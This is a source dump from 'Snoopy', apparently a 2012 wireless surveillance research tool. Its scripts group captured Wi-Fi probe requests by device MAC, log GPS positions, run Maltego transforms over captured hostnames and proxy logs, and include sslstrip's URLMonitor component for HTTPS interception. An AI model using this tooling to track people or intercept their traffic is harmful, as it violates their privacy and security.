23 | if MaltegoXML_in <> '':
24 | #logging.debug(MaltegoXML_in)
25 | m = MaltegoMsg(MaltegoXML_in)
26 |
27 | cursor=stawk_db.dbconnect()
28 | TRX = MaltegoTransform()
29 |
30 | drone='%'
31 | now=datetime.datetime.now()
32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
33 | start_time=m.AdditionalFields['start_time']
34 | end_time=m.AdditionalFields['end_time']
35 | else:
36 | start_time=now+datetime.timedelta(seconds=-lookback)
37 | end_time=now+datetime.timedelta(seconds=lookback)
38 |
39 | # Maltego requires format e.g 2012-10-23 22:37:12.0
40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
43 |
44 |
45 | if 'location' in m.AdditionalFields:
46 | location=m.AdditionalFields['location']
47 | else:
48 | location="%"
49 |
50 | if 'properties.drone' in m.AdditionalFields:
51 | drone=m.AdditionalFields['properties.drone']
52 |
53 |
54 | cursor.execute("SELECT country,count(*) FROM wigle GROUP BY country HAVING country != ''")
55 | results=cursor.fetchall()
56 |
57 | for row in results:
58 | country="fuck unicode"
59 | num=-1
60 | try:
61 | #country=row[0].decode('raw_unicode_escape').encode('ascii','xmlcharrefreplace')
62 | country=row[0].encode('utf8','xmlcharrefreplace')
63 | num=row[1]
64 | except Exception,e:
65 | logging.debug(e)
66 |
67 |
68 | NewEnt=TRX.addEntity("maltego.Location", country);
69 | NewEnt.addAdditionalFields("num","Number","strict",num)
70 | NewEnt.addAdditionalFields("country","country","strict",country)
71 | NewEnt.setWeight(num)
72 |
73 | #NewEnt.addAdditionalFields("drone","drone","strict",drone)
74 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
75 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
76 | #NewEnt.addAdditionalFields("location","location","strict",location)
77 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
78 |
79 |
80 | TRX.returnOutput()
81 | try:
82 | main()
83 | except Exception, e:
84 | logging.debug(e)
85 |
86 |
--------------------------------------------------------------------------------
/snoopy/server/bin/prox_guid.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # This script creates proximity sessions based on intervals between observed probe requests.
7 |
8 | import stawk_db
9 | import string
10 | from random import choice
11 | import time
12 | import logging
13 |
14 | # Time without seeing a probe from a device
15 | # to mark the prox session as finished.
16 | proximity_buffer = 600 # 10 minutes
17 | sleep_for=10 # Rereun every n seconds
18 |
19 | def getGuid():
20 | return ''.join([choice(string.letters + string.digits) for i in range(18)])
21 |
22 | def do_prox():
23 | cursor=stawk_db.dbconnect()
24 | cursor.execute("SELECT device_mac FROM probes WHERE 1 GROUP BY device_mac HAVING SUM(CASE WHEN proximity_session IS NULL AND timestamp IS NOT NULL THEN 1 ELSE 0 END)>0")
25 | macs=cursor.fetchall()
26 | if( len(macs) > 0):
27 | logging.info("%d devices probing. Grouping into proximity sessions..." %len(macs))
28 | for row in macs:
29 | curr_mac=row[0]
30 | first_row=None
31 | cursor.execute("SELECT DISTINCT unix_timestamp(timestamp),proximity_session FROM probes where device_mac=%s AND timestamp IS NOT NULL ORDER BY unix_timestamp(timestamp)",curr_mac)
32 | results=cursor.fetchall()
33 |
34 |
35 | #Unusual case when only one result
36 | if(len(results) == 1):
37 | cursor.execute("UPDATE probes SET proximity_session=%s WHERE device_mac=%s",(getGuid(),curr_mac))
38 | else:
39 | # Find first null prox session, and start from the entry before it.
40 | start_from=0
41 | while( start_from< len(results)-1 and results[start_from][1] != None):
42 | start_from+=1
43 |
44 | if( start_from>0):
45 | start_from-=1
46 | prev_prox = results[start_from][1]
47 | else:
48 | prev_prox = getGuid()
49 | start_from+=1
50 |
51 |
52 | prev_ts=results[start_from-1][0]
53 | for r in range(start_from,len(results)):
54 | special_flag=True
55 | timestamp=results[r][0]
56 |
57 | if( (results[r-1][0]+proximity_buffer) < timestamp):
58 | cursor.execute("UPDATE probes SET proximity_session=%s WHERE device_mac=%s AND unix_timestamp(timestamp)>=%s AND unix_timestamp(timestamp) <%s", (prev_prox,curr_mac,prev_ts,timestamp))
59 | prev_prox=getGuid()
60 | prev_ts=timestamp
61 | special_flag=False
62 | else:
63 | pass
64 | if( results[r][1] == None or special_flag):
65 | cursor.execute("UPDATE probes SET proximity_session=%s WHERE device_mac=%s AND unix_timestamp(timestamp)>=%s AND unix_timestamp(timestamp) <=%s", (prev_prox,curr_mac,prev_ts,timestamp))
66 |
67 |
68 |
69 | def main():
70 | logging.info("Starting proximity calculator...")
71 |
72 | while True:
73 | try:
74 | do_prox()
75 | except Exception, e:
76 | print e
77 | time.sleep(sleep_for)
78 |
79 |
80 |
81 | if __name__ == "__main__":
82 | logging.basicConfig(level=logging.INFO,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
83 | main()
84 |
85 |
86 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import re
20 |
21 | class URLMonitor:
22 |
23 | '''
24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
25 | server is expecting over SSL. It also keeps track of secure favicon urls.
26 | '''
27 |
28 | # Start the arms race, and end up here...
29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
30 | _instance = None
31 |
32 | def __init__(self):
33 | self.strippedURLs = set()
34 | self.strippedURLPorts = {}
35 | self.faviconReplacement = False
36 |
37 | def isSecureLink(self, client, url):
38 | for expression in URLMonitor.javascriptTrickery:
39 | if (re.match(expression, url)):
40 | return True
41 |
42 | return (client,url) in self.strippedURLs
43 |
44 | def getSecurePort(self, client, url):
45 | if (client,url) in self.strippedURLs:
46 | return self.strippedURLPorts[(client,url)]
47 | else:
48 | return 443
49 |
50 | def addSecureLink(self, client, url):
51 | methodIndex = url.find("//") + 2
52 | method = url[0:methodIndex]
53 |
54 | pathIndex = url.find("/", methodIndex)
55 | host = url[methodIndex:pathIndex]
56 | path = url[pathIndex:]
57 |
58 | port = 443
59 | portIndex = host.find(":")
60 |
61 | if (portIndex != -1):
62 | host = host[0:portIndex]
63 | port = host[portIndex+1:]
64 | if len(port) == 0:
65 | port = 443
66 |
67 | url = method + host + path
68 |
69 | self.strippedURLs.add((client, url))
70 | self.strippedURLPorts[(client, url)] = int(port)
71 |
72 | def setFaviconSpoofing(self, faviconSpoofing):
73 | self.faviconSpoofing = faviconSpoofing
74 |
75 | def isFaviconSpoofing(self):
76 | return self.faviconSpoofing
77 |
78 | def isSecureFavicon(self, client, url):
79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
80 |
81 | def getInstance():
82 | if URLMonitor._instance == None:
83 | URLMonitor._instance = URLMonitor()
84 |
85 | return URLMonitor._instance
86 |
87 | getInstance = staticmethod(getInstance)
88 |
--------------------------------------------------------------------------------
/snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import re
20 |
21 | class URLMonitor:
22 |
23 | '''
24 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
25 | server is expecting over SSL. It also keeps track of secure favicon urls.
26 | '''
27 |
28 | # Start the arms race, and end up here...
29 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
30 | _instance = None
31 |
32 | def __init__(self):
33 | self.strippedURLs = set()
34 | self.strippedURLPorts = {}
35 | self.faviconReplacement = False
36 |
37 | def isSecureLink(self, client, url):
38 | for expression in URLMonitor.javascriptTrickery:
39 | if (re.match(expression, url)):
40 | return True
41 |
42 | return (client,url) in self.strippedURLs
43 |
44 | def getSecurePort(self, client, url):
45 | if (client,url) in self.strippedURLs:
46 | return self.strippedURLPorts[(client,url)]
47 | else:
48 | return 443
49 |
50 | def addSecureLink(self, client, url):
51 | methodIndex = url.find("//") + 2
52 | method = url[0:methodIndex]
53 |
54 | pathIndex = url.find("/", methodIndex)
55 | host = url[methodIndex:pathIndex]
56 | path = url[pathIndex:]
57 |
58 | port = 443
59 | portIndex = host.find(":")
60 |
61 | if (portIndex != -1):
62 | host = host[0:portIndex]
63 | port = host[portIndex+1:]
64 | if len(port) == 0:
65 | port = 443
66 |
67 | url = method + host + path
68 |
69 | self.strippedURLs.add((client, url))
70 | self.strippedURLPorts[(client, url)] = int(port)
71 |
72 | def setFaviconSpoofing(self, faviconSpoofing):
73 | self.faviconSpoofing = faviconSpoofing
74 |
75 | def isFaviconSpoofing(self):
76 | return self.faviconSpoofing
77 |
78 | def isSecureFavicon(self, client, url):
79 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
80 |
81 | def getInstance():
82 | if URLMonitor._instance == None:
83 | URLMonitor._instance = URLMonitor()
84 |
85 | return URLMonitor._instance
86 |
87 | getInstance = staticmethod(getInstance)
88 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/static/js/gpsmovs.js:
--------------------------------------------------------------------------------
1 | Snoopy.registerPlugin('gpsmovs', function(section, clData) {
2 | if (!Snoopy.util.loadGoogleMaps()) {
3 | console.error('Google Maps not (yet) loaded');
4 | return;
5 | }
6 |
7 | var $outer_ul = $(document.createElement('ul'));
8 | for (var runId in clData) {
9 | if (!clData.hasOwnProperty(runId)) { continue; }
10 | var $map = $(document.createElement('div'))
11 | .attr('id', 'map_' + runId)
12 | .css({ width: '425px', height: '350px', border: '1px solid #abbce6' }),
13 | coordList=clData[runId],
14 | markers=[], path=[], avg_long=0.0, avg_lat=0.0,
15 | red=$.Color('red'), green=$.Color('green'), mCol=$.Color(),
16 | minTimestamp=9999999999, maxTimestamp=0,
17 | coords, coords_i, latlng, map;
18 |
19 | if (!coordList.length) { continue; }
20 |
21 | for (coords_i=0; coords_i < coordList.length; coords_i++) {
22 | coords = coordList[coords_i];
23 |
24 | if (coords.timestamp < minTimestamp) { minTimestamp = coords.timestamp; }
25 | if (coords.timestamp > maxTimestamp) { maxTimestamp = coords.timestamp; }
26 |
27 | mCol = mCol
28 | .saturation(1.0)
29 | .lightness(0.5)
30 | .hue(Math.round( (green.hue()-red.hue()) * (coords.accuracy / 100.0) ));
31 |
32 | latlng = new google.maps.LatLng(coords.lat, coords.long);
33 | markers.push(new google.maps.Marker({
34 | icon: {
35 | path: google.maps.SymbolPath.CIRCLE,
36 | scale: 4,
37 | strokeColor: mCol.toRgbaString()
38 | },
39 | title: Snoopy.util.dateFormat(coords.timestamp) + ' (' + coords.accuracy + '%)',
40 | position: latlng
41 | }));
42 | path.push(latlng);
43 | avg_lat += coords.lat;
44 | avg_long += coords.long;
45 | }
46 |
47 | avg_lat /= coordList.length;
48 | avg_long /= coordList.length;
49 |
50 | map = new google.maps.Map($map[0], {
51 | zoom: 18, mapTypeId: google.maps.MapTypeId.ROADMAP,
52 | center: new google.maps.LatLng(avg_lat, avg_long),
53 | });
54 |
55 | for (var i=0; i < markers.length; i++) {
56 | markers[i].setMap(map);
57 | }
58 |
59 | new google.maps.Polyline({
60 | clickable: false,
61 | icons: [{
62 | icon: {
63 | path: google.maps.SymbolPath.FORWARD_CLOSED_ARROW,
64 | strokeColor: '#666',
65 | strokeWeight: 1.0
66 | },
67 | repeat: '150px',
68 | scale: 0.2
69 | }],
70 | map: map,
71 | path: path,
72 | strokeColor: '#abbce6'
73 | });
74 |
75 | $outer_ul.append(
76 | $(document.createElement('li'))
77 | .text(Snoopy.util.periodFormat(minTimestamp, maxTimestamp))
78 | .append($map)
79 | );
80 | }
81 | if ($outer_ul.children().length) {
82 | $('.section-content', section).append($outer_ul);
83 | }
84 | });
85 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchLocations.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from common import *
14 |
15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
16 |
17 | sys.stderr = sys.stdout
18 |
19 | def main():
20 | print "Content-type: xml\n\n";
21 | MaltegoXML_in = sys.stdin.read()
22 | if MaltegoXML_in <> '':
23 | #logging.debug(MaltegoXML_in)
24 | m = MaltegoMsg(MaltegoXML_in)
25 |
26 | cursor=stawk_db.dbconnect()
27 | TRX = MaltegoTransform()
28 |
29 | drone='%'
30 | now=datetime.datetime.now()
31 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
32 | start_time=m.AdditionalFields['start_time']
33 | end_time=m.AdditionalFields['end_time']
34 | else:
35 | start_time=now+datetime.timedelta(seconds=-lookback)
36 | end_time=now+datetime.timedelta(seconds=lookback)
37 |
38 | # Maltego requires format e.g 2012-10-23 22:37:12.0
39 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
40 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
41 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
42 |
43 |
44 | if 'location' in m.AdditionalFields:
45 | location=m.AdditionalFields['location']
46 | else:
47 | location="%"
48 |
49 | if 'properties.drone' in m.AdditionalFields:
50 | drone=m.AdditionalFields['properties.drone']
51 |
52 | # logging.debug("SELECT DISTINCT location FROM probes WHERE timestamp > '%s' AND timestamp < '%s' AND monitor_id LIKE '%s'" %(start_time,end_time,drone))
53 | # cursor.execute("SELECT DISTINCT location FROM probes WHERE timestamp > %s AND timestamp < %s AND monitor_id LIKE %s", (start_time,end_time,drone))
54 |
55 | logging.debug("SELECT location,MIN(timestamp),MAX(timestamp),run_id FROM probes WHERE timestamp > '%s' AND timestamp < '%s' AND monitor_id LIKE '%s' GROUP BY location"% (start_time,end_time,drone))
56 | cursor.execute("SELECT location,MIN(timestamp),MAX(timestamp),run_id FROM probes WHERE timestamp > %s AND timestamp < %s AND monitor_id LIKE %s GROUP BY location", (start_time,end_time,drone))
57 |
58 |
59 | results=cursor.fetchall()
60 |
61 | for row in results:
62 | location,start,end,run_id=row[0],row[1].strftime("%Y-%m-%d %H:%M:%S.0"),row[2].strftime("%Y-%m-%d %H:%M:%S.0"),row[3]
63 | logging.debug("SE / ET - %s / %s" %(start,end))
64 | NewEnt=TRX.addEntity("snoopy.DroneLocation", location);
65 |
66 | NewEnt.addAdditionalFields("drone","drone","strict",drone)
67 | NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
68 | NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
69 | NewEnt.addAdditionalFields("location","location","strict",location)
70 | NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
71 |
72 |
73 | TRX.returnOutput()
74 | try:
75 | main()
76 | except Exception, e:
77 | logging.debug(e)
78 |
79 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchClientsFromCountry.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from common import *
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | sys.stderr = sys.stdout
17 |
18 | def main():
19 |
20 | print "Content-type: xml\n\n";
21 | MaltegoXML_in = sys.stdin.read()
22 | if MaltegoXML_in <> '':
23 | #logging.debug(MaltegoXML_in)
24 | m = MaltegoMsg(MaltegoXML_in)
25 |
26 | cursor=stawk_db.dbconnect()
27 | TRX = MaltegoTransform()
28 |
29 | drone='%'
30 | now=datetime.datetime.now()
31 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
32 | start_time=m.AdditionalFields['start_time']
33 | end_time=m.AdditionalFields['end_time']
34 | else:
35 | start_time=now+datetime.timedelta(seconds=-lookback)
36 | end_time=now+datetime.timedelta(seconds=lookback)
37 |
38 | # Maltego requires format e.g 2012-10-23 22:37:12.0
39 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
40 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
41 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
42 |
43 |
44 | if 'location' in m.AdditionalFields:
45 | location=m.AdditionalFields['location']
46 | else:
47 | location="%"
48 |
49 | if 'properties.drone' in m.AdditionalFields:
50 | drone=m.AdditionalFields['properties.drone']
51 |
52 |
53 | country='%'
54 | if 'country' in m.AdditionalFields:
55 | country=m.AdditionalFields['country']
56 |
57 | cursor.execute("SELECT DISTINCT device_mac,vendor_short,IF(hostname IS NULL, '', CONCAT('(',hostname,')')) AS hostname, IF(hostname IS NULL, 'False','True') AS from_web, 'True' AS from_probes FROM probes LEFT OUTER JOIN dhcp_leases ON probes.device_mac = dhcp_leases.mac JOIN wigle ON probes.probe_ssid=wigle.ssid JOIN mac_vendor ON probes.mac_prefix=mac_vendor.mac AND country=%s",(country))
58 | results=cursor.fetchall()
59 |
60 | for row in results:
61 | mac,vendor,hostname,from_web,from_probes=row[0],row[1],row[2],row[3],row[4]
62 | NewEnt=TRX.addEntity("snoopy.Client", "%s %s"%(vendor,hostname))
63 |
64 | NewEnt.addAdditionalFields("mac","mac address", "strict",mac)
65 | NewEnt.addAdditionalFields("vendor","vendor","strict",vendor)
66 | NewEnt.addAdditionalFields("hostname","hostname","hostname",hostname)
67 |
68 | NewEnt.addAdditionalFields("from_web","from_web","nostrict",from_web)
69 | NewEnt.addAdditionalFields("from_probes","from_probes","nostrict",from_probes)
70 |
71 |
72 |
73 | #NewEnt.addAdditionalFields("drone","drone","strict",drone)
74 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
75 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
76 | #NewEnt.addAdditionalFields("location","location","strict",location)
77 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
78 |
79 |
80 | TRX.returnOutput()
81 | try:
82 | main()
83 | except Exception, e:
84 | logging.debug(e)
85 |
86 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchClientsFromUA.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from common import *
14 |
15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
16 |
17 | sys.stderr = sys.stdout
18 |
19 | def main():
20 |
21 | print "Content-type: xml\n\n";
22 | MaltegoXML_in = sys.stdin.read()
23 | if MaltegoXML_in <> '':
24 | #logging.debug(MaltegoXML_in)
25 | m = MaltegoMsg(MaltegoXML_in)
26 |
27 | cursor=stawk_db.dbconnect()
28 | TRX = MaltegoTransform()
29 |
30 | drone='%'
31 | now=datetime.datetime.now()
32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
33 | start_time=m.AdditionalFields['start_time']
34 | end_time=m.AdditionalFields['end_time']
35 | else:
36 | start_time=now+datetime.timedelta(seconds=-lookback)
37 | end_time=now+datetime.timedelta(seconds=lookback)
38 |
39 | # Maltego requires format e.g 2012-10-23 22:37:12.0
40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
43 |
44 |
45 | if 'location' in m.AdditionalFields:
46 | location=m.AdditionalFields['location']
47 | else:
48 | location="%"
49 |
50 | if 'properties.drone' in m.AdditionalFields:
51 | drone=m.AdditionalFields['properties.drone']
52 |
53 | ua='None'
54 | if 'useragent' in m.AdditionalFields:
55 | ua=m.AdditionalFields['useragent']
56 |
57 |
58 | cursor.execute("SELECT DISTINCT client_ip,hostname,dhcp_leases.mac,vendor_short,ua FROM dhcp_leases,squid_logs,mac_vendor WHERE squid_logs.client_ip=dhcp_leases.ip AND dhcp_leases.mac_prefix=mac_vendor.mac AND ua LIKE %s",(ua))
59 | results=cursor.fetchall()
60 |
61 | for row in results:
62 |
63 | try:
64 | client_ip=row[0]
65 | hostname=row[1].encode('utf8','xmlcharrefreplace')
66 | mac=row[2]
67 | vendor=row[3].encode('utf8','xmlcharrefreplace')
68 | ua=row[4].encode('utf8','xmlcharrefreplace')
69 | except Exception,e:
70 | logging.debug(e)
71 |
72 | NewEnt=TRX.addEntity("snoopy.Client", "%s (%s)"%(vendor,hostname))
73 | NewEnt.addAdditionalFields("hostname","hostname","strict",hostname)
74 | NewEnt.addAdditionalFields("mac","mac","strict",mac)
75 | NewEnt.addAdditionalFields("vendor","vendor","strict",vendor)
76 | # NewEnt.addAdditionalFields("useragent","useragent","strict",ua)
77 |
78 | NewEnt.addAdditionalFields("from_web","from_web","strict","True")
79 | NewEnt.addAdditionalFields("from_probes","from_probes","strict","True")
80 |
81 | #NewEnt.addAdditionalFields("drone","drone","strict",drone)
82 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
83 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
84 | #NewEnt.addAdditionalFields("location","location","strict",location)
85 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
86 |
87 |
88 | TRX.returnOutput()
89 | try:
90 | main()
91 | except Exception, e:
92 | logging.debug(e)
93 |
94 |
--------------------------------------------------------------------------------
/snoopy/client/bin/snoopy_gpslogger.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # Script to poll GPS on N900. Quick, dirty, PoC hack. Please rewrite for me.
7 | # Waits for accuracy to be < 100m
8 |
9 | import location
10 | import gobject
11 | import sys
12 | import time
13 | import math
14 |
15 | if len(sys.argv) < 3:
16 | sys.stderr.write('Usage:' + sys.argv[0] +' \n')
17 | sys.exit(1)
18 |
19 | acc=10000 #100m
20 | prepend_text=sys.argv[3]
21 | sleep_time=int(sys.argv[2])
22 | filename=sys.argv[1]
23 | #print "[+] Will poll GPS until accuracy of %d meters." %(acc/100)
24 |
25 |
26 | class gps_fix:
27 | fix=None
28 |
29 | def on_error(self,control, error, data):
30 | print "location error: %d... quitting" % error
31 | data.quit()
32 |
33 | def on_changed(self,device, data):
34 | if not device:
35 | return
36 |
37 | #Uncomment line below to show progress...
38 | cacc= "#Accuracy: %f,%f,%f,%f,%f" %(time.time(),device.fix[4],device.fix[5],device.fix[6]/100,device.fix[11])
39 | #print cacc
40 | #f.write(cacc)
41 | #f.write("\n")
42 | #f.flush()
43 |
44 | if not device.fix[6] == device.fix[6]:
45 | return
46 |
47 | if device.fix[6] > acc:
48 | return
49 |
50 | if device.fix:
51 | if device.fix[1] & location.GPS_DEVICE_LATLONG_SET:
52 | f=open(filename, "a")
53 | #print "[+] GPS coords: (%f,%f) +/- %f" %(device.fix[4],device.fix[5],device.fix[6]/100)
54 | pos ="%s,%f,%f,%f,%f" %(prepend_text,time.time(),device.fix[4],device.fix[5],device.fix[6]/100)
55 | self.fix=(device.fix[4],device.fix[5])
56 | f.write(pos)
57 | f.write("\n")
58 | f.close()
59 | data.stop()
60 | #time.sleep(sleep_time)
61 | #data.start()
62 |
63 | def on_stop(self,control, data):
64 | data.quit()
65 | #pass
66 |
67 | def start_location(self,data):
68 | data.start()
69 | return False
70 |
71 | def __init__(self):
72 | loop = gobject.MainLoop()
73 | control = location.GPSDControl.get_default()
74 | device = location.GPSDevice()
75 | control.set_properties(preferred_method=location.METHOD_USER_SELECTED,
76 | preferred_interval=location.INTERVAL_DEFAULT)
77 |
78 | control.connect("error-verbose", self.on_error, loop)
79 | device.connect("changed", self.on_changed, control)
80 | control.connect("gpsd-stopped", self.on_stop, loop)
81 |
82 | gobject.idle_add(self.start_location, control)
83 |
84 | loop.run()
85 |
86 |
87 | def haversine(lat1, lon1, lat2, lon2):
88 | R = 6372.8 # In kilometers
89 | dLat = math.radians(lat2 - lat1)
90 | dLon = math.radians(lon2 - lon1)
91 | lat1 = math.radians(lat1)
92 | lat2 = math.radians(lat2)
93 |
94 | a = math.sin(dLat / 2) * math.sin(dLat / 2) + math.sin(dLon / 2) * math.sin(dLon / 2) * math.cos(lat1) * math.cos(lat2)
95 | c = 2 * math.asin(math.sqrt(a))
96 | return R * c * 1000.0 # In metres
97 |
98 | lastPos=(0,0)
99 | while(1):
100 | g = gps_fix()
101 |
102 | #print lastPos[0],g.fix[0],lastPos[1],g.fix[1]
103 | distanceMoved=haversine(lastPos[0],lastPos[1],g.fix[0],g.fix[1])
104 | #print "Distance moved %f" %distanceMoved
105 | if( distanceMoved < 100):
106 | time.sleep(sleep_time)
107 | lastPos=(g.fix[0],g.fix[1])
108 |
109 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchClientsFromDomain.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from common import *
14 |
15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
16 |
17 | sys.stderr = sys.stdout
18 |
19 | def main():
20 |
21 | print "Content-type: xml\n\n";
22 | MaltegoXML_in = sys.stdin.read()
23 | if MaltegoXML_in <> '':
24 | #logging.debug(MaltegoXML_in)
25 | m = MaltegoMsg(MaltegoXML_in)
26 |
27 | cursor=stawk_db.dbconnect()
28 | TRX = MaltegoTransform()
29 |
30 | drone='%'
31 | now=datetime.datetime.now()
32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
33 | start_time=m.AdditionalFields['start_time']
34 | end_time=m.AdditionalFields['end_time']
35 | else:
36 | start_time=now+datetime.timedelta(seconds=-lookback)
37 | end_time=now+datetime.timedelta(seconds=lookback)
38 |
39 | # Maltego requires format e.g 2012-10-23 22:37:12.0
40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0")
41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0")
42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0")
43 |
44 |
45 | if 'location' in m.AdditionalFields:
46 | location=m.AdditionalFields['location']
47 | else:
48 | location="%"
49 |
50 | if 'properties.drone' in m.AdditionalFields:
51 | drone=m.AdditionalFields['properties.drone']
52 |
53 | domain='None'
54 | if 'domain' in m.AdditionalFields:
55 | domain=m.AdditionalFields['domain']
56 |
57 |
58 | cursor.execute("SELECT DISTINCT client_ip,hostname,dhcp_leases.mac,vendor_short,ua FROM dhcp_leases,squid_logs,mac_vendor WHERE squid_logs.client_ip=dhcp_leases.ip AND dhcp_leases.mac_prefix=mac_vendor.mac AND domain = %s",(domain))
59 | results=cursor.fetchall()
60 |
61 | for row in results:
62 |
63 | try:
64 | client_ip=row[0]
65 | hostname=row[1].encode('utf8','xmlcharrefreplace')
66 | mac=row[2]
67 | vendor=row[3].encode('utf8','xmlcharrefreplace')
68 | useragent=row[4].encode('utf8','xmlcharrefreplace')
69 | except Exception,e:
70 | logging.debug(e)
71 |
72 | NewEnt=TRX.addEntity("snoopy.Client", "%s (%s)"%(vendor,hostname))
73 | NewEnt.addAdditionalFields("hostname","hostname","strict",hostname)
74 | NewEnt.addAdditionalFields("mac","mac","strict",mac)
75 | NewEnt.addAdditionalFields("vendor","vendor","strict",vendor)
